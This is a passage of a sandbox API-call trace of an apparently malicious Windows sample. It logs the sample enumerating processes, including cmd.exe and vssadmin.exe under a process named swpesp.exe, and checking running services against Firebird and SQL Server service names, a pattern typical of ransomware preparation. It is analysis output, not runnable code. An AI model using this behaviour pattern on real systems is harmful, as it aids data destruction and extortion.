	[0059.499] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.499] lstrlenW (lpString="svchost.exe") returned 11
	[0059.499] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.500] lstrlenW (lpString="svchost.exe") returned 11
	[0059.500] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0059.501] lstrlenW (lpString="audiodg.exe") returned 11
	[0059.501] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.502] lstrlenW (lpString="svchost.exe") returned 11
	[0059.502] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.502] lstrlenW (lpString="svchost.exe") returned 11
	[0059.502] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0059.503] lstrlenW (lpString="dwm.exe") returned 7
	[0059.503] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0059.504] lstrlenW (lpString="explorer.exe") returned 12
	[0059.504] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0059.505] lstrlenW (lpString="spoolsv.exe") returned 11
	[0059.505] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0059.505] lstrlenW (lpString="taskhost.exe") returned 12
	[0059.506] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.506] lstrlenW (lpString="svchost.exe") returned 11
	[0059.506] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0059.507] lstrlenW (lpString="taskeng.exe") returned 11
	[0059.507] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0059.508] lstrlenW (lpString="taskhost.exe") returned 12
	[0059.508] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0059.508] lstrlenW (lpString="program.exe") returned 11
	[0059.509] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0059.509] lstrlenW (lpString="felt.exe") returned 8
	[0059.509] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0059.510] lstrlenW (lpString="bibliography.exe") returned 16
	[0059.510] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0059.553] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0059.554] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0059.554] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0059.554] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0059.555] lstrlenW (lpString="converter.exe") returned 13
	[0059.555] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0059.556] lstrlenW (lpString="once.exe") returned 8
	[0059.556] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0059.557] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0059.557] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0059.557] lstrlenW (lpString="always.exe") returned 10
	[0059.557] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0059.560] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0059.560] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0059.561] lstrlenW (lpString="donated.exe") returned 11
	[0059.561] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0059.562] lstrlenW (lpString="nowherepike.exe") returned 15
	[0059.562] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0059.562] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0059.562] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0059.563] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0059.563] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0059.564] lstrlenW (lpString="allowance.exe") returned 13
	[0059.564] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0059.565] lstrlenW (lpString="conducting affect.exe") returned 21
	[0059.565] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0059.565] lstrlenW (lpString="plaintiff.exe") returned 13
	[0059.565] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0059.566] lstrlenW (lpString="dialog.exe") returned 10
	[0059.566] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0059.567] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0059.567] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0059.568] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0059.568] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0059.569] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0059.569] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0059.569] lstrlenW (lpString="swpesp.exe") returned 10
	[0059.569] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0059.570] lstrlenW (lpString="cmd.exe") returned 7
	[0059.570] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.571] lstrlenW (lpString="conhost.exe") returned 11
	[0059.571] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0059.572] lstrlenW (lpString="vssadmin.exe") returned 12
	[0059.572] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0059.572] lstrlenW (lpString="VSSVC.exe") returned 9
	[0059.572] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.573] lstrlenW (lpString="svchost.exe") returned 11
	[0059.573] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0059.574] lstrlenW (lpString="LogonUI.exe") returned 11
	[0059.574] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0059.575] CloseHandle (hObject=0x158) returned 1
	[0059.575] Sleep (dwMilliseconds=0x1f4) 
	[0060.338] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0160
	[0060.338] EnumServicesStatusExW (in: hSCManager=0x35d0160, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0060.338] GetLastError () returned 0xea
	[0060.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x5e4198
	[0060.339] EnumServicesStatusExW (in: hSCManager=0x35d0160, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e4198, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e4198, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0060.339] CloseServiceHandle (hSCObject=0x35d0160) returned 1
	[0060.340] lstrlenW (lpString="Appinfo") returned 7
	[0060.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0060.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0060.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0060.340] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0060.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0060.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0060.340] lstrlenW (lpString="AudioSrv") returned 8
	[0060.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0060.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0060.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0060.340] lstrlenW (lpString="BFE") returned 3
	[0060.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0060.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0060.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0060.340] lstrlenW (lpString="CryptSvc") returned 8
	[0060.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0060.341] lstrlenW (lpString="CscService") returned 10
	[0060.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0060.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0060.341] lstrlenW (lpString="DcomLaunch") returned 10
	[0060.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0060.341] lstrlenW (lpString="Dhcp") returned 4
	[0060.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0060.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0060.341] lstrlenW (lpString="Dnscache") returned 8
	[0060.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0060.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0060.341] lstrlenW (lpString="DPS") returned 3
	[0060.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0060.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0060.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0060.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0060.342] lstrlenW (lpString="eventlog") returned 8
	[0060.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0060.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0060.342] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0060.342] lstrlenW (lpString="EventSystem") returned 11
	[0060.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0060.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0060.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0060.342] lstrlenW (lpString="gpsvc") returned 5
	[0060.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0060.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0060.342] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0060.342] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0060.342] lstrlenW (lpString="iphlpsvc") returned 8
	[0060.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.342] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0060.342] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0060.342] lstrlenW (lpString="LanmanServer") returned 12
	[0060.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.342] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0060.342] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0060.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0060.342] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0060.343] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0060.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0060.343] lstrlenW (lpString="lmhosts") returned 7
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0060.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0060.343] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0060.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0060.343] lstrlenW (lpString="MMCSS") returned 5
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0060.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0060.343] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0060.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0060.343] lstrlenW (lpString="MpsSvc") returned 6
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0060.343] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0060.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0060.343] lstrlenW (lpString="Netman") returned 6
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0060.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0060.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0060.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0060.343] lstrlenW (lpString="netprofm") returned 8
	[0060.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0060.344] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
